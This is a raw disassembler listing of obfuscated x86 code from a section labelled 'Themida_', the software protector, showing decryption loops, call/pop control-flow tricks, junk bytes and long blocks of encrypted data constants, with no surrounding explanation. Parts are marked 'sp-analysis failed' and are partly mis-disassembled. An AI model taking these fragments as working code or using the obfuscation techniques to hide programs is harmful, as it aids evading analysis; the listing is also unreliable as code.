mov eax, [ebp+7E41BCDh]
xor eax, 34812736h
call eax
cmp al, 1
jnz loc_5E4DD5
mov eax, 1
jmp loc_5E4E1C
; ---------------------------------------------------------------------------
loc_5E4DD5: ; CODE XREF: Themida_:005E4DC5j
xor eax, eax
jmp loc_5E4E1C
; ---------------------------------------------------------------------------
loc_5E4DDC: ; CODE XREF: Themida_:005E4DAAj
push 1Ch
lea esi, [ebp+7EA28C5h]
push esi
push dword ptr [ebp+7EA28C1h]
mov eax, [ebp+7E41BCDh]
xor eax, 34812736h
call eax
add esp, 0Ch
lea esi, [ebp+7EA28C5h]
mov eax, [esi+14h]
and eax, 4
cmp eax, 4
jz loc_5E4E17
xor eax, eax
jmp loc_5E4E1C
; ---------------------------------------------------------------------------
loc_5E4E17: ; CODE XREF: Themida_:005E4E0Aj
mov eax, 1
loc_5E4E1C: ; CODE XREF: Themida_:005E4DD0j
; Themida_:005E4DD7j ...
cmp dword ptr [ebp+7E42015h], 1
jnz loc_5E4E30
pop ebp
retn
; ---------------------------------------------------------------------------
jmp loc_5E4E32
; ---------------------------------------------------------------------------
loc_5E4E30: ; CODE XREF: Themida_:005E4E23j
pop ebp
iret
; ---------------------------------------------------------------------------
loc_5E4E32: ; CODE XREF: Themida_:005E4D70j
; Themida_:005E4E2Bj
lea eax, [ebp+7EA28EAh]
mov [ebp+7E409F9h], eax
lea ecx, [ebp+7EA2A25h]
push 0
push edi
call sub_5E4E4F
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5E4E4F proc near ; CODE XREF: Themida_:005E4E47p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5E4E4F endp
; ---------------------------------------------------------------------------
db 79h
; ---------------------------------------------------------------------------
fist dword ptr [ecx+5C53926Bh]
mov [ebp+7E422E1h], esi
mov [ebp+7E41B71h], ecx
mov esi, ebx
mov dword ptr [ebp+7E42DA1h], 64ECh
or [ebp+7E413E1h], edi
mov dword ptr [ebp+7E422B9h], 0
add [ebp+7E42631h], edx
push dword ptr [ebp+7E41811h]
movzx eax, di
call dword ptr [ebp+7E43061h]
mov [ebp+7E42151h], edx
push 0
call dword ptr [ebp+7E40E41h]
mov eax, eax
jmp short loc_5E4F24
; ---------------------------------------------------------------------------
db 0F0h, 85h, 0A5h
dd 4B028BB5h, 7EED53F9h, 4670712Dh, 0C13EE1E7h, 27065902h
dd 3E2FEEEBh, 0BBB29E07h, 0B44E4084h, 0D957A6A7h, 90D2B973h
dd 0E5FE170Dh, 0DDA9AA98h, 8D73EDA6h, 9FE2CC79h, 0EB684769h
dd 88D5BCA9h, 15606CD5h, 0F512825Ah, 226B67Ah, 0EDD65F18h
dd 0B47740A3h, 0F2C0167Eh, 0E29208C5h, 0BA2EE2B5h, 62BB5088h
dd 83794AF5h, 9362E163h
; ---------------------------------------------------------------------------
loc_5E4F24: ; CODE XREF: Themida_:005E4EB3j
call near ptr loc_5E4F37+3
xor al, al
or al, 0C6h
mov al, [ebx]
xor eax, 8BB0FBB7h
aas
aas
inc ebx
loc_5E4F37: ; CODE XREF: Themida_:loc_5E4F24p
xor [esi-548F0F7h], esp
pop ebx
call sub_5E4F4B
; ---------------------------------------------------------------------------
db 8Fh
; ---------------------------------------------------------------------------
rcl byte ptr ss:[edi-5Bh], cl
dec edi
adc esi, edx
; =============== S U B R O U T I N E =======================================
sub_5E4F4B proc near ; CODE XREF: Themida_:005E4F3Ep
cmc
pop edx
add ebx, 685Ch
mov edx, 7C463258h
sub eax, eax
sub [ebp+7E432A9h], ebx
loc_5E4F60: ; CODE XREF: sub_5E4F4B+70j
push dword ptr [eax+ebx]
jmp loc_5E4F7A
; ---------------------------------------------------------------------------
dd 118D7B58h, 0F3511AFBh, 0C48EEB87h, 4D6548Ch
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
xchg eax, ebp
loc_5E4F7A: ; CODE XREF: sub_5E4F4B+18j
pop ecx
cmc
sub ecx, 35D9ECA9h
ja loc_5E4F8E
mov edi, [ebp+7E41F3Dh]
loc_5E4F8E: ; CODE XREF: sub_5E4F4B+37j
xor ecx, 2D1833A7h
xor ecx, 2A430BC5h
mov esi, [ebp+7E4218Dh]
mov [ebx+eax], ecx
mov esi, edi
push eax
pop esi
sub eax, 3
adc si, 0D76Dh
dec eax
mov esi, 34B45784h
cmp eax, 0FFFF9838h
jnz loc_5E4F60
call sub_5E4FD0
fimul word ptr [edi+32h]
push esp
sub al, 0E9h
rol byte ptr [ebp+7Ch], 1
dec ecx
sub_5E4F4B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5E4FD0 proc near ; CODE XREF: sub_5E4F4B+76p
mov [ebp+7E40DFDh], ebx
pop ecx
jbe loc_5E4FE3
xor edx, [ebp+7E40669h]
loc_5E4FE3: ; CODE XREF: sub_5E4FD0+7j
add ecx, 6CCDh
jno loc_5E4FF5
mov ebx, [ebp+7E41C59h]
loc_5E4FF5: ; CODE XREF: sub_5E4FD0+19j
mov esi, 1B0Dh
or bh, 0AEh
loc_5E4FFD: ; CODE XREF: sub_5E4FD0+84j
mov eax, [ecx]
jmp loc_5E500A
; ---------------------------------------------------------------------------
dd 0B45B6D49h
db 0F2h, 91h
; ---------------------------------------------------------------------------
loc_5E500A: ; CODE XREF: sub_5E4FD0+2Fj
add eax, 7568D9F2h
jmp loc_5E5026
; ---------------------------------------------------------------------------
db 3Dh, 2Dh, 6Eh
dd 0B36E854Bh, 0F605BA3Dh, 22F37606h
db 96h, 0E2h
; ---------------------------------------------------------------------------
loc_5E5026: ; CODE XREF: sub_5E4FD0+40j
sub eax, 5D2034FBh
xor eax, 8BB276Dh
adc edx, 1FCF6AF0h
mov [ecx], eax
cld
sub ecx, 403AFD51h
mov [ebp+7E40DB9h], ecx
add ecx, 403AFD4Dh
and edx, [ebp+7E40EFDh]
dec esi
jnz loc_5E4FFD
jns loc_5E5063
mov bx, si
loc_5E5063: ; CODE XREF: sub_5E4FD0+8Aj
lea ecx, [ebp+7EA2C95h]
mov edx, [ebp+7E40E29h]
mov [ebp+7E41B71h], ecx
mov [ebp+7E415A5h], ebx
mov dword ptr [ebp+7E42DA1h], 6554h
push 0
push ebp
call sub_5E5090
and [ebp-3Dh], bl
sub_5E4FD0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5E5090 proc near ; CODE XREF: sub_5E4FD0+B8p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5E5090 endp
; ---------------------------------------------------------------------------
dd 0E70619ADh, 880F5621h, 2, 0C75B98B2h, 0E422B985h, 7
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h
dd 0C3514100h, 0AC3F8269h, 3A1FF4F5h, 0EDB5FF31h, 6A07E40Ah
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 7E26C351h, 7BE97990h, 892EE4CCh, 0E423C9B5h
dd 6195FF07h, 8907E430h, 0E40F3195h, 0FF006A07h, 0E40E4195h
dd 0EBC08B07h, 0CA7E006Ah, 1A473B42h, 21F44785h, 79785F1Ah
dd 0D1CBABC1h, 593E299Ch, 0ED83C3CAh, 6B9C0B6Eh, 1F19F47Fh
dd 2A493489h, 9BAF1A11h, 0E66D82D7h, 0F2256A44h, 6F05EDB8h
dd 0DA490484h, 79EE2DBDh, 301B00AFh, 8F58E1B9h, 86170525h
dd 2845F40Bh, 4E6ADF1Eh, 88B867BEh, 0A19FAA3Eh, 59E41Dh
dd 0ED5502A5h, 99094C60h, 0E9156A14h, 16h, 442EFD01h, 2540000h
dd 3 dup(0)
dd 0F0E90000h, 6800000Bh, 7EA2E9Ah, 0FB318CE9h, 2F6768FFh
dd 82E907EAh, 68FFFB31h, 7EA314Eh, 0FB3178E9h, 321C68FFh
dd 6EE907EAh, 68FFFB31h, 7EA32CDh, 0FB3164E9h, 346868FFh
dd 5AE907EAh, 68FFFB31h, 7EA3537h, 0FB3150E9h, 366868FFh
dd 46E907EAh, 68FFFB31h, 7EA376Fh, 0FB313CE9h, 550357FFh
dd 0A4C0D22h, 0BA92C2D7h, 6EE67287h, 1D2D263Bh, 4815B6EAh
dd 0F70C3F0Bh, 0AABFF260h, 5C71A4ACh, 0BD2255F9h, 0BC407053h
dd 893D23FFh, 0D27CD988h, 94BA9B8Eh, 3B375961h, 0A2CB0EF1h
dd 23D023F9h, 90D41D33h, 0F9A16DA1h, 0D42D523h, 5E8C0961h
dd 2A2E5Ah, 0E62D0000h, 367EC8C0h, 1748064Fh, 0F9980302h
dd 579BA823h, 0F9983468h, 46099C23h, 5EAA421Ah, 2F280F5Ah
dd 0DF52F223h, 51000000h, 8ED27CD9h, 0C7AAF23Ah, 1C158E97h
dd 72A28794h, 771C158Eh, 3320396Ah, 75E0D317h, 4C79C60Eh
dd 0B0935EC3h, 1C168280h, 0DE27707Dh, 0C7F48294h, 7416A35Ah
dd 79DCCF43h, 9F28290Ah, 4B942243h, 1EA00718h, 0CC891C16h
dd 7513882h, 64A8AAADh, 3184C811h, 40279D00h, 0A0F33713h
dd 4FFF566Fh, 703250Bh, 321FDABDh, 778423FAh, 7E2A3C44h
dd 0E22C75D5h, 0DF65CFBh, 70C30749h, 9EE2C53Fh, 32BE113h
dd 8EC5ACF6h, 0DF7489BCh, 0C92E796Bh, 7296C2A5h, 9D775h
dd 71E77300h, 2630293Eh, 0D676DEF3h, 8ACA8EA3h, 39114257h
dd 64E9D206h, 13285BEFh, 0C6DB0E44h, 788DC090h, 0D93E71DDh
dd 0BC5C8C6Fh, 0AD6123FFh, 307AD9ACh, 0ADE02925h, 4791BD98h
dd 0B9FED335h, 2556DC85h, 0C0E647C2h, 9C9B7EC8h, 7F23F997h
dd 0B3F2E72h, 7323F998h, 0BBF36FE0h, 0C05A5EAAh, 0D0h
dd 0D27CD9BFh, 92B89B8Eh, 93F85F4Eh, 64F11C15h, 0B3A2B7EAh
dd 0B1F55BFBh, 0EBD1155Eh, 9C83CDC5h, 0FE5195B9h, 0B57053CDh
dd 0FA23F9A7h, 347094Dh, 2C3467B0h, 0E1C40E1Ah, 2BE0858Ch
dd 448CD6E3h, 73729D32h, 9FD09B8Fh, 997CCD86h, 1C183F69h
dd 0EFC38E66h, 0D2B00149h, 0F80D4089h, 40FDEF5Bh, 0CC2A59Fh
dd 90AEBE8h, 1A400000h, 63F60B3Eh, 0A9ABC0F3h, 0FD5B70A3h
dd 440F2457h, 3C9FD306h, 0F5282231h, 0A8DB77E0h, 5A8DC393h
dd 0B3E1045h, 29593CA6h, 2623FFBEh, 7AD97172h, 85020F05h
dd 62F4FD43h, 0E57AAEEh, 50337BC5h, 1C166520h, 7CDF101Dh
dd 1660EE67h, 4326252Fh, 1C166513h, 7EC20B18h, 6517472Ah
dd 7141C16h, 0AF2A8DBEh, 80EA6678h, 0E55EEFE0h, 9DB194E0h
dd 86CEA42Dh, 0C5947DC6h, 0E476091h, 0F5E4F640h, 0A52BDB95h
dd 5447BBECh, 0A7A9AD01h, 7DC71063h, 9D225235h, 1A271C15h
dd 291086E9h, 0E7F3242Eh, 377FC9C1h, 9CDC0CEFh, 0D4E11C15h
dd 0BAFB8EA3h, 0F30023F9h, 0B599BCAFh, 81D5846Bh, 56B9EA3Dh
dd 0F63A1441h, 3FC1F407h, 52FDA4ABh, 69EEC095h, 952A5E9h
dd 0DC7960D6h, 0AADB2E72h, 468AC491h, 0B7C22457h, 9CAEA59Ch
dd 5DEF6558h, 0CD820119h, 0FF5095C0h, 26563981h, 239CB7C2h
dd 89CCE516h, 0D87D92C5h, 0C1629275h, 5A679CB7h, 2569E371h
dd 564589D2h, 9CB7C21Fh, 7E46BE0h, 4018FF4Eh, 987DD014h
dd 9B735A68h, 5A6F9F82h, 5F6C9B73h, 6FA2EBF8h, 0A4B3FB5Ah
dd 0D7107E3h, 29724221h, 0F23B1740h, 0AAA6C8AEh, 28311860h
dd 7DE8FD2Eh, 0F2A3577Ch, 84AAB2E5h, 0FC3516C1h, 8C6174EBh
dd 27394D9Eh, 65AFF81Bh, 410A3A1Dh, 0CA8D94CFh, 8AF14488h
dd 0EFD24C7Dh, 9CB360D0h, 267ABECBh, 20CBFBDEh, 0C3D09B73h
dd 214A7D92h, 0DCB09B73h, 0ABEF61F5h, 61EE2758h, 0E70D5505h
dd 45CD222h, 0DDD10000h, 1C158EADh, 159F0034h, 0A33B871Ch
dd 0BEF21C15h, 0E01C15A1h, 0B1F55FF9h, 0F212D5Eh, 1A5EF463h
dd 51347EC7h, 23F9C5FEh, 0CE82D481h, 0BE71A184h, 616E23F9h
dd 80D2618h, 0D3F7BAC4h, 723D6h, 25332700h, 0DA7CDDF2h
dd 8AC292A7h, 3E164257h, 0ED5DF60Bh, 182586BAh, 0C7DC0F3Bh
dd 7A8FC290h, 2C4174DCh, 8DF22529h, 0C0104023h, 590D23FFh
dd 0C2917858h, 173E5788h, 0FB0DF337h, 765DA5EFh, 0F2D71E1h
dd 0A90B4B85h, 70A1EA79h, 8E345Bh, 0E02A3724h, 0EF15CF9h
dd 24008DDEh, 5485CEDBh, 1B4645F1h, 4D302534h, 24008E1Dh
dd 9BCC1522h, 2771798Fh, 0E4BA3D44h, 6FE5F22Bh, 859DF3E4h
dd 0E1E9FFCBh, 9FD5B497h, 0CDDAD369h, 93B89C83h, 0A15B80B0h
dd 27707DC4h, 0EB5F90E3h, 9DE7E305h, 859762BAh, 0F03A47CCh
dd 1E014C09h, 0CB8584EEh, 0DB59F53Eh, 1D8461D3h, 967DC710h
dd 0FF6293C3h, 0F1E36BEAh, 13387058h, 550B082Ch, 0F5000006h
dd 0ABC0F365h, 6075A8AEh, 102558F4h, 0C4D90C48h, 5488BB8Fh
dd 0DD6DE677h, 90C295AAh, 420E485Dh, 0F35BFA0Fh, 0EF15BC0h
dd 23FFC0DEh, 0E62627DBh, 9B7EC8C0h, 23F9AD08h, 0C7BAFE0Bh
dd 0F87CC08Eh, 26302910h, 6393BCF5h, 18FB454Dh, 2BDDCB85h
dd 4C337D8Ah, 0AD004408h, 0D408197Ch, 5B1C158Eh, 1C158F2Bh
dd 539D95BBh, 0B0E0C30Bh, 0AD1C158Eh, 437356A0h, 481C158Fh
dd 0CEF50A3Bh, 0C123FFBBh, 0CC104414h, 92D680D9h, 69ADF63Fh
dd 0FFBC4D7Ah, 0BB9FD423h, 0C78E23FFh, 6073A386h, 6B78142Bh
dd 347DD582h, 92661D42h, 0E6E307CAh, 5A4h, 71A4B4A6h, 2659FD5Ch
dd 0D6094311h, 8ABD97C1h, 396CDE75h, 0BC97A605h, 11465B8Eh
dd 5DF90E41h, 0AAABC0F3h, 0A20C71A4h, 0FFC08FBFh, 0D7D88C23h
dd 7EC8C0E6h, 8F235336h, 1B281C15h, 668D70EAh, 8623FFBBh
dd 6596B49Fh, 8A7DC1CEh, 485083CBh, 0F8945C2Bh, 0F65BA57Ah
dd 2E1569ADh, 0DFF82929h, 90A5D876h, 524589C5h, 0D2074B03h
dd 3025C28Dh, 757EB1Eh, 245A5052h, 183h, 0C7C0E623h, 158EB4E4h
dd 63ACB91Ch, 22460719h, 2BF36ACCh, 0F5391142h, 14F771A2h
dd 23FA6DA9h, 5E4D919Eh, 23FA6B2Ch, 5927286Dh, 6AFE2E11h
dd 0EEFB23FAh, 0F39FB1BDh, 56A9ED63h, 75E0C30Dh, 0FA2BDE70h
dd 0B0A5BAEDh, 290C549Eh, 1C1667F9h, 44B8E9F6h, 174A0451h
dd 0A7F1F90Fh, 0D2DE785Fh, 4185CE86h, 65A8BDEEh, 4A23FA7Bh
dd 0D60AF93Dh, 3E23FA58h, 7DD3836Ah, 303C134Ch, 5A5E5578h
dd 2EFFh, 0C0E6FE00h, 9C9B7EC8h, 9C23F997h, 15F8BF8Ah
dd 2B5C0B3Bh, 0EF438794h, 0D2034F08h, 0F9AF89BDh, 0F15EF123h
dd 5E822575h, 0B4425Ah, 0D9410000h, 9B8ED27Ch, 4892B8h
dd 158EED1Dh, 68E4701Ch, 4E0BF401h, 7063D708h, 322569E5h
dd 88CE8B23h, 75A8F144h, 133F18FFh, 364B7CCFh, 1C1593CFh
dd 4F321B3Ah, 1C15931Fh, 2D260F1Ch, 99A1D41Dh, 4E317B77h
dd 23FC7A77h, 0A10F47F4h, 15498B2h, 3E256FB8h, 91C39515h
dd 7EB1FA4Dh, 6E60EA69h, 0BAC154E7h, 9F0ED11h, 41000004h
dd 0F70C3F19h, 0ACC1F462h, 5C71A4A8h, 102558FCh, 0A0D40743h
dd 2921323Bh, 0DC76E1F6h, 8EC294A9h, 3F0F465Bh, 5A3DA70Ch
dd 23FFC32Ah, 0D97A7B2Fh, 279DD07Ah, 0F73B1740h, 0FB5A73A4h
dd 0AC072688h, 0B9027B51h, 91780B86h, 0E16DE8C2h, 0A3365498h
dd 6D3FA962h, 0CDE61760h, 8F82C688h, 0E26EE8C6h, 78EB6699h
dd 8F1D4D30h, 0EB751C15h, 0E3F0612Fh, 0FC2D3AA1h, 16DBB3E7h
dd 0DC063A1Ch, 70961C15h, 244B2E78h, 27240009h, 2B75DD7Ah
dd 0FFEF1848h, 0BF081523h, 0AC73957Bh, 56593373h, 74BE0766h
dd 4113452Ch, 96C6A9FDh, 9323FFD7h, 0F70C3D86h, 2BE3F6F8h
dd 0DFC6BED0h, 0A2E9F1CCh, 80B19BB9h, 81EADCE9h, 83C299F6h
dd 33A625Fh, 4A100000h, 93C6DB0Eh, 0D97B90C3h, 2D2B4073h
dd 74DFF427h, 4C6FA3D6h, 0C5F85201h, 78ABA7B0h, 2A5DF363h
dd 0DB0E4015h, 0F9290C76h, 0F623FFC3h, 7CD94142h, 0B8A188D2h
dd 0D6075A9Eh, 59FC0E62h, 0E317AF46h, 0D77E97C8h, 2A3C4477h
dd 66EDD41Eh, 1C4DA0E4h, 0E3735AA2h, 0A5D6296Dh, 0F9EC4D90h
dd 1455223h, 0B52C9BADh, 9AD279A2h, 8A205469h, 0F58823FAh
dd 645E0E5Ah, 3BDD5A5Eh, 0DC000000h, 2C28C0E6h, 4089DC20h
dd 981413F6h, 0A1723F9h, 97A3D7C6h, 370B23F9h, 26B7A025h
dd 3518FBF8h, 23FA5F05h, 0CBB4FD0Ah, 2D80C48Ah, 0E08CC3FCh
dd 5A5E7388h, 0B3AFh, 7CD9AE00h, 0B89B8ED2h, 0FA5B4E92h
dd 381D1054h, 6BD2E316h, 5E1C1593h, 0F2457F7h, 0D7BE0846h
dd 9B8ED280h, 0FD5094BAh, 290F83B4h, 0C7ED6B07h, 2B7EC290h
dd 6C4F99E2h, 23F9A225h, 1135D6Ah, 4900228Ah, 1F0FBFFFh
dd 77052605h, 929AFD2Eh, 472A747Ch, 2BE1286Ah, 6503745h
dd 0CEB3064Ah, 1C17D39Eh, 0FB458E9Bh, 0D80B3F14h, 0C8BA90C3h
dd 0C2A5F399h, 97A779Bh, 41000002h, 0F70C3F19h, 0ACC1F462h
dd 5C71A4A8h, 102558FCh, 0A0D40743h, 2921323Bh, 0DC76E1F6h
dd 8EC294A9h, 3F0F465Bh, 5A3DA70Ch, 23FFC52Ah, 0D97A7B2Fh
dd 889DD07Ah, 0D34E81CDh, 7EC8C0E6h, 0F9979C9Bh, 2E727F23h
dd 0F9980B3Fh, 6FE07323h, 5EAABBF3h, 10EC05Ah, 0D9BF0000h
dd 3A8ED27Ch, 8E643828h, 51079076h, 7089BA03h, 0B1D67E3h
dd 0F6D89372h, 276A7F1h, 1671AC13h, 16381D1Ch, 42256DE3h
dd 1C166912h, 0C0D90A17h, 8F75B995h, 44277179h, 23FA77FDh
dd 0B7A087CFh, 6286B69Bh, 768323FAh, 4387C98Dh, 1B28BFF0h
dd 856072E8h, 42725512h, 4723F9CAh, 224263Ah, 18482B75h
dd 1523FA37h, 0A5CBD708h, 448063ADh, 692BE11Eh, 282B125Ch
dd 357FD782h, 17DD2252h, 0D11A271Ch, 0C12D3F87h, 0F4CBC742h
dd 0EB77A78Ch, 67741C17h, 4B5DD336h, 1538E752h, 7C95C675h
dd 768173D7h, 0CEC2A55Eh, 102ADAAh, 12480000h, 5BFE1346h
dd 0A1B3C8FBh, 0F56378ABh, 3C172C5Fh, 4A7DB0Eh, 0FD301A39h
dd 0B0E36FE8h, 6295BB9Bh, 1346084Dh, 316144AEh, 2E23FFC6h
dd 9178797Ah, 0F5488CC6h, 8E98C8ABh, 88951C15h, 35153E57h
dd 1B68ED02h, 6346FD16h, 1C166633h, 0C172B38h, 664C8223h
dd 0DF193EC2h, 9F1A4D96h, 88D27CD9h, 6D9EB8A1h, 97BEA5F9h
dd 0E86D86B7h, 0D6BD3366h, 368ACE7Eh, 158F2353h, 0D21B281Ch
dd 777395A1h, 0D202E52Dh, 0D71C158Eh, 3C1F99CAh, 23FFBC11h
dd 71C50916h, 3F83CB8Ah, 0B3A2BBECh, 0EA6A519Bh, 0E2001E62h
dd 0CBD46812h, 0A80B3C85h, 84192032h, 6E0F2D6Fh, 1D31243Dh
dd 0F752EAD9h, 9D4467C4h, 2E2035B2h, 3F6FE6FBh, 0A4F73B19h
dd 0EF47775Ah, 37446043h, 0A1B7AAEEh, 3E2169B3h, 6043EF0Eh
dd 59CDFE0Bh, 4E9BB44Fh, 0FF144707h, 0B7B4F856h, 0Ch, 2D3F69BCh
dd 3FCA85C4h, 30AFE08Dh, 93D781D9h, 5599B5A0h, 185CF462h
dd 0DC203225h, 9CE06AE9h, 5CA0AAA9h, 2165EF69h, 0E226262Eh
dd 0A8EC6AEFh, 0E789576Ah, 4C781h, 0BD550000h, 4, 875DEF29h
dd 685C243Ch, 46B4h, 50241489h, 405E089h, 83000000h, 48704E8h
dd 2C895C24h, 2D7E6824h, 148B07EAh, 4C48124h, 54000000h
dd 83242C8Bh, 0EC8104C4h, 4, 8F241489h, 34FF0845h, 0C4835D24h
dd 24148B04h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_598345
; ---------------------------------------------------------------------------
movsb
les esi, [edx+6B91DB79h]
xchg eax, edx
push ebx
pop esp
or [ebx-69477DA0h], al
cmp dl, ch
pop es
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 1D91C9DDh, 18D09626h, 6DCDD43Fh, 54FE76E0h, 37E068B1h
dd 65949A36h, 0B38475Ch, 9A9D01Dh, 4D8281F1h, 6E75DEB2h
dd 111B8B84h, 6E415C19h, 21AC6B8Fh, 0E0D5ADCh, 23015B16h
dd 7C4B1DA6h, 8793B50h, 66D480A9h, 6F176FFBh, 7150F8B2h
dd 9C29996h, 71114972h, 3E3C531Ch, 564EDCD1h, 426D434Fh
dd 18DD498Fh, 3D9734B2h, 5733CDC2h, 67C5DEE1h, 6E73EFD3h
dd 1A1A38EAh, 4777EC9h, 0DCE9h, 0A7253200h, 459CD73Ch
dd 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h, 95A1F445h, 0ABDA00B3h
dd 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh
dd 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h, 0F292A59Ch
dd 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh
dd 52D0008Ah, 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h
dd 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h
dd 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h
dd 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh, 43F1B6D0h
dd 0F0A8CDh, 0
dd 129D7447h, 5E99E0E3h, 9 dup(0)
dd 15A7E900h, 88680000h, 0E907EA3Ch, 0FFFA436Fh, 0EA3D6768h
dd 4365E907h, 3068FFFAh, 0E907EA3Eh, 0FFFA435Bh, 0EA3F7768h
dd 4351E907h, 968FFFAh, 0E907EA40h, 0FFFA4347h, 0EA40BF68h
dd 433DE907h, 8268FFFAh, 0E907EA41h, 0FFFA4333h, 0EA425C68h
dd 4329E907h, 0C68FFFAh, 0E907EA43h, 0FFFA431Fh, 0EA446B68h
dd 4315E907h, 6068FFFAh, 0E907EA45h, 0FFFA430Bh, 0EA46AD68h
dd 4301E907h, 1A68FFFAh, 0E907EA48h, 0FFFA42F7h, 0EA497568h
dd 42EDE907h, 0BF68FFFAh, 0E907EA4Ah, 0FFFA42E3h, 0EA4C9D68h
dd 42D9E907h, 9468FFFAh, 0E907EA4Dh, 0FFFA42CFh, 0F589AB83h
dd 52E606DFh, 0B246603Ch, 15A9BD9Ch, 740824FFh, 21FC559Bh
dd 815B7105h, 0DBB9CF63h, 3E1B31C5h, 2FDF9226h, 0A89BCDB2h
dd 0AC448913h, 946BE84Ah, 4213A89Bh, 9B896ED9h, 2D0A13A8h
dd 495BC415h, 5A795674h, 0DA1D4470h, 0AA88142Bh, 71033B94h
dd 7898710Fh, 4284760Dh, 697BE414h, 0C65A724Fh, 55754EECh
dd 0C6F2043h, 6EBE172Fh, 0A4DCF2D0h, 43134602h, 0F952E7CCh
dd 28C09E7h, 5013A6BFh, 7902AFE7h, 0CE13A680h, 2AD589BDh
dd 6CD877FDh, 0E78AFAFAh, 7E90CDC2h, 25DFh, 424D0800h
dd 0E99F1C6Ch, 0A713A6A9h, 0A659063Eh, 2513A6AAh, 8B295014h
dd 0A68193B1h, 0D8780759h, 0CF7Eh, 7956A700h, 805B2961h
dd 815E2C64h, 0A17B1969h, 9EB04B83h, 1E2D0AD8h, 42A0DAA1h
dd 0BF0F7814h, 42A0BD42h, 57B01914h, 70906907h, 698B9D38h
dd 42A46174h, 0B9943214h, 0B8CA659Dh, 15A9C19Eh, 0D20A22FFh
dd 0A9C9A240h, 601B7497h, 0C4146D81h, 0AA4CF062h, 0DD2F9325h
dd 0B250D2CBh, 821E13A6h, 0BB568EA4h, 56F4CE62h, 2E516377h
dd 9BFD4D61h, 0BAC7BC39h, 2A9313A6h, 98AAC09Eh, 40522C9Fh
dd 0A9F96214h, 8014300Bh, 1F738F6Ah, 62357A8Ch, 57D0343h
dd 0DE000013h, 3A50E406h, 97AD4161h, 0F70DA1BBh, 5A700418h
dd 0F6CF637Fh, 607C57F0h, 0BEDCB6CCh, 2036142Ah, 8199768Ch
dd 0D8A3AEDh, 13A89C76h, 56109FE4h, 0B5CB5F7Bh, 5B2CC0D8h
dd 1C6C424Dh, 0A6A9E99Fh, 0EE3EA713h, 0A615B57Ch, 0B2C44E78h
dd 0B4BC3FECh, 0B90B13A6h, 0B425DA57h, 48B113A6h, 0B1ED9936h
dd 0D877FD4Eh, 0B387h, 7956B000h, 25972961h, 16762733h
dd 0D6F002B8h, 15A7DFFBh, 0F801B9A3h, 9DAF3CBFh, 422131A4h
dd 31492614h, 5FAA879Dh, 0D8106983h, 0D0208E01h, 0A63ED153h
dd 0C13EA013h, 13A63F3Ah, 58B14D89h, 56A7D1F7h, 93FCDBEDh
dd 0AC8725FFh, 0ABBD5890h, 57A70788h, 8DC5DBB9h, 8502E0F2h
dd 14406725h, 0E07ECE37h, 3F55E905h, 0C1F44864h, 22623577h
dd 12265CE2h, 0E5BD0000h, 40192FC3h, 9A768C20h, 0F7D6EC80h
dd 5E394FE3h, 2FD5AE42h, 0AB3F5B36h, 99DBB95h, 6BFF15F3h
dd 0CC607855h, 17EC6919h, 0C313A89Dh, 7B56EF7Eh, 0D8B5CB5Fh
dd 5D95B38Dh, 4D569C2h, 29617956h, 0D2667E5Bh, 8EC6E0BCh
dd 7BCBE3C0h, 0D5E701DDh, 5E3BD9B3h, 86093446h, 0D3A82587h
dd 7F1442A0h, 94AE8A16h, 7E305F82h, 8CE3B12Eh, 50B213A6h
dd 8D8A71EEh, 0DF4813A6h, 0A68D8F74h, 0D0E24B13h, 747F88F1h
dd 0E42CBC8Ah, 0D3238B04h, 0ED920F71h, 69EB2CFEh, 83F5EE00h
dd 51ECC8E3h, 0B6D9B0E8h, 0C946A8F8h, 1310DB32h, 472537A0h
dd 0F76B96CAh, 8BDB4414h, 64F810EDh, 559714Eh, 62C654BAh
dd 5D77FD3Dh, 86000011h, 0E2F88CAEh, 3F55E909h, 9FB54963h
dd 218ACC0h, 9E770B27h, 824FF58h, 66845E74h, 0C8DEBCD2h
dd 29411E34h, 0B532E295h, 13A89ECEh, 56B8478Ch, 38522E79h
dd 81B9CDACh, 0C3558DE6h, 0C11BEF61h, 0A4E2C0F2h, 42734239h
dd 95A71014h, 835E1D72h, 3B942F67h, 5FB86EEBh, 167613A6h
dd 0A65FE299h, 0AE077013h, 1A94FB1Ah, 7A474DCAh, 0AC151442h
dd 8534C774h, 41931B8Bh, 0C7175CFh, 0EE005FE8h, 96691551h
dd 3FD092C9h, 40h, 39424D68h, 98E8415Fh, 0A6EF871Bh, 0F875D513h
dd 13A6F003h, 0BD0D66CFh, 0F129431Fh, 0C8664456h, 4B40D4EAh
dd 13A6F0B2h, 5CF008E5h, 2526846h, 0F05C23A0h, 91FA13A6h
dd 9133B97Fh, 0C2000010h, 0AE2F2092h, 38286868h, 228C0326h
dd 3B5B34D2h, 78566803h, 0A86951FBh, 39AF1F13h, 0F14B903Dh
dd 24C2126Bh, 859B2F47h, 815890A8h, 572CA90Eh, 313A932h
dd 74F1419Ah, 14430B2Dh, 963484EDh, 0F70DA1B9h, 38CA021Ah
dd 22159DC6h, 788A1E46h, 64413A55h, 26A3F34Ch, 1C735C88h
dd 2F976D6h, 0D003F8A3h, 0E7405634h, 2E667E5Bh, 0E3E63A93h
